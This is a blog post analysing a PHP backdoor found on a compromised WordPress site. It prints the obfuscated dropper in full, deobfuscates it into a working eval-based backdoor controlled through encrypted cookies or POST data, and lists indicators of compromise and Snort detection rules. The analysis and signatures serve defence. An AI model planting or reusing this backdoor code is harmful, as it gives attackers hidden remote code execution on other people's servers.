Looking at PHP backdoor malware
31 Dec 2023Last week I helped out with a Wordpress website that had been infected. The webhosting company detected some malware, but there was more malware that wasn’t detected yet. In this post I’m looking at that malware sample. This PHP file was probably uploaded using a vulnerability in a Wordpress plugin.
The malicious code looked like this:
<?php
function asdasd0()
{
echo 11111;
}
$i="Hq8%01%28ao%2A%2C%1D%3D%3E%07%2B%3CA%7F%09%17%18%2A%01%0B%0D%1B%29oEx%220%26%09Zol%7E%0E%21%0713%16%0F1%5Bs%0D%1B%29%17%0C%2A%1E%0A%186TxADgsdR%2C%0C%04%2C%2C%27%04%00fo%049%14%3A%0F%3D%167%14%00%27%27%07%07%18%0C%07+TxADgsdR%2C%16%0F1%2C+%08%19%2B%17%051%01%0C%1EmC%7DZyDEcUf%03%1F%2B%10+%08%1B+h%1A0%08%15Ba%175%15%15bhM3%09%1CCHy%2Fl%7EnhIxH%0A%1F1%2C0%00%00%2FhTxNGQHytATn.%06%2ALMN%2CSiADuhM1LYJ6%07%26%0D%11+%60M%3C%0D%11%0BlH%7DA%0FCBIxLEJeSt%07%1B%3ChA%7C%06EWeCoAP%24hUx%1F%11%18%29%16%3AIP%25-%10qLCLeW%3DAHn%3B%1D%2A%00%00%04mW0%00%00%2FaRxH%0FAn_tE%1Dec%40x%17h%60eStATnhIxLEJa%1C%21%15%2B%2A%29%1D9LKWe%10%3C%13%5C%21%3A%0DpH%01%0B1%12%0FE%1D%13aI%06L%0A%18%21%5Bp%0A%117%13M21LC%7E%7E%5EATnhIxLE%17HytATn5dRLEJe%011%15%01%3C%26I%7C%03%10%1E%1A%175%15%15uEc%25ao%03%23S%7C%08%07%3D-%1DpH%3A-%00%27%0FWC%7D%7CZm1LCHy%2Fl%7EnhIx%08%0C%0Fm%1E0T%5Cz%7F%5Ei%5ELC%7E%7E%5E%1CyDl%1D%3D%01%15W%24%01%26%00%0D%11%25%0C%2A%0B%00Ba%2C%17.%3B%05%01%2CtLA5%15%3C%075%5DuEc%3E%03%17%0F%24%10%3CA%5Cj%3C%0C5%1CE%0B6Sp%05%15%3A%2963%09%1CJxMtE%10%2F%3C%08qL%1EgOStATj%2C%08%2C%0DEWe3%21%0F%07%2B%3A%009%00%0C%10+%5B%27%09%10%3E%60%1A0%08%15B%27%12%27%04Bz%17%0D%3D%0F%0A%0E+%5Bp%05%15%3A%29%40tLB%106GfQ%1A%2A%3D%07%3D%5B%02%1A%2BB%3C%16%03%28%2F%03%3E%5D%11%10pA%3C%0A%12%29%24%04%2CZBCiSp%05%15%3A%2963%09%1CClHYkTnhI1%0AEB%2C%00%27%04%00fl%0D9%18%041b%12%3FF%29gaI%23aoJeStATnh%00%3ELMN%21%12+%00%2Fi%29N%05LXWeT%3DF%5Dn3dRLEJeStATnhIxH%0CJxS5%13%06%2F1AUfEJeStATnhIxLEJeSs%11%02ihTfL%25%1A-%03%22%04%06%3D%21%066DLFHytATnhIxLEJeStATno%1A.KEW%7BSsPZ%7EeX%7F%40h%60eStATnhIxLEJlHYkTnhIxLEJeStA%11-+%06x%2C%16%0F7%1A5%0D%1D4-A%7C%05LQHytATnhIxL%18J+%1F%27%04%1D%28hA%7C%08%04%1E%24%28s%00S%13hTeLB%0FbZt%1AyDhIxLEJeStATn-%1F9%00MN%21%12+%00%2Fi%2CN%05E%5EgOStATnhIx%11h%60eStATnhI%3D%14%0C%1EmZol%7EnhIx%11h%608";
$j="%12%27%24%0C%07%1C%10%1E%1A%10%3B%0F%00%2B%26%1D%2B";
$eByjoghUea="tNHiXlejEsTa";
function vksXJAdk($Vsgjyqji, $unvnBFtDiJlf)
{
$Vsgjyqji = urldecode($Vsgjyqji);
$TTlBSYU = str_split($Vsgjyqji);
$action = "";
for ($i = 0; $i < strlen($Vsgjyqji);$i++) {
$action .= $TTlBSYU[$i] ^ $unvnBFtDiJlf[$i%12];
}
return $action;
}
$k = vksXJAdk($i, $eByjoghUea);
function asdasd1()
{
echo 11111;
}
$f = vksXJAdk($j, $eByjoghUea);
$f($eByjoghUea, $k);
function asdasd2()
{
echo 11111;
}
include_once ($eByjoghUea);
function asdasd3()
{
echo 11111;
}
unlink($eByjoghUea);
function asdasd4()
{
echo 11111;
}
exit();
There’s clearly some obfuscation going on.
The asdasd
functions don’t have a role in the obfuscation.
I suspect they are there to decrease the entropy of the file as a whole.
This helps avoid detection, since scanning software uses high entropy as an indication that some obfuscation, compression or encryption is being used.
After deobfuscation (running it and setting a breakpoint to inspect the contents of $k
), the code looked like this:
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
function shdp($data, $key)
{
$out_data = "";
for ($i = 0; $i < strlen($data);) {
for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
if (isset($_GET[673435]))
{
die(md5(47712));
}
$temp=array_merge($_COOKIE, $_POST);
foreach ($temp as $data_key => $data) {
$data = @unserialize(shdp(shdp(base64_decode($data), 'zs420ndune7gpn1hwwfgjf1tz52hkfglmt6'), $data_key));
if (isset($data['ak'])) {
if ($data['a'] == 'i') {
$i = array(
'pv' => @phpversion(),
'sv' => '1.0-1',
);
echo @serialize($i);
} elseif ($data['a'] == 'e') {
eval($data['d']);
}
exit();
}
}
This code gets executed by putting it in a file, running it with include_once
, and deleting the file afterwards (unlink
).
$f
contains the string file_put_contents
to do so.
Reading this code, we can find a few Indicators Of Compromise (IOC):
673435
is used as a GET parameter. The value is ignored. (Other variations use47712
as a GET parameter)6a59bb58c6c03d5103d44f3b7e5ebf07
, the MD5 hash of47712
is a response when this GET parameter is supplied.- Base64 encoded cookie or POST data is supplied to the script. Note that there are also many legitimate use cases for doing this, making it easier to blend in with normal traffic. In addition, cookie values and POST data is also less likely to end up in access logs (contrary to GET parameters), which also helps evade detection.
Of course there’s nothing preventing the attacker from changing the constant 673435
(again).
My best guess is that this GET parameter can be used to demonstrate a host is compromised.
Speculating a bit: this could allow for selling access to the host to others, because this check could be done without knowing the password.
The buyer of the access could verify that a URL like https://example.com/wp-content/uploads/malware.php?673435=anything
returns 6a59bb58c6c03d5103d44f3b7e5ebf07
, before paying for the access.
Only with the password: (zs420ndune7gpn1hwwfgjf1tz52hkfglmt6
in this sample) can the host be used to evaluate arbitrary code.
The password varies across the many samples I looked at.
It is most likely unique per target.
The password is used to decrypt the instructions (that are supplied either in cookies or in POST data).
The encryption used is a repeating XOR cipher.
After the data has been demangled, it can contain two instructions.
The type of instruction is encoded in the a
key.
i
: return information about the host (backdoor version (1.0-1
) and PHP version)e
: evaluates PHP code (the code itself is in thed
key)
I was curious whether more about this malware was known, so I started looking for earlier detections.
I found this StackExchange post from 2018 where someone posts some similar malware with the i
and e
commands.
Searching Github led me to a useful resource on this strain of PHP malware, the repository bediger4000/php-malware-analysis
.
This repository contained many different variations collected by Wordpress honeypots, going by the following aliases:
Since the two numeric GET parameters can be converted to a snort rule, I decided to submit these to the snort-sigs mailing list:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP PHP backdoor check of successful installation using GET parameter 47712"; flow:to_server,established; content:"GET /"; http_uri; content:"47712="; http_uri; classtype:web-application-activity; reference:url,bartbroere.eu/2023/12/31/php-backdoor-malware/; sid:1000001;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP PHP backdoor check of successful installation using GET parameter 673435"; flow:to_server,established; content:"GET /"; http_uri; content:"673435="; http_uri; classtype:web-application-activity; reference:url,bartbroere.eu/2023/12/31/php-backdoor-malware/; sid:1000002;)
alert tcp $HOME_NET $HTTP_PORTS -> $EXTERNAL_NET any (msg:"SERVER-WEBAPP Indication of a successful PHP backdoor check, server responds with 6a59bb58c6c03d5103d44f3b7e5ebf07"; flow:to_client,established; content:"6a59bb58c6c03d5103d44f3b7e5ebf07"; http_client_body; reference:url,bartbroere.eu/2023/12/31/php-backdoor-malware/; sid:1000003;)
To decrease false positives, you could for example require that .php
is in the path.
An even better way to decrease false positives would be only raising an alert when rule 1 or 2 and rule 3 are activated.
Snort’s activates
and activated_by
offer this functionality.
This could be useful if you are monitoring an application where 673435
and 47712
are legitimate GET parameters, or the MD5 hash of 47712
is a valid server response.
Update: The PHP backdoor signatures have been improved and are now part of the Open Emerging Threats rules, available for download here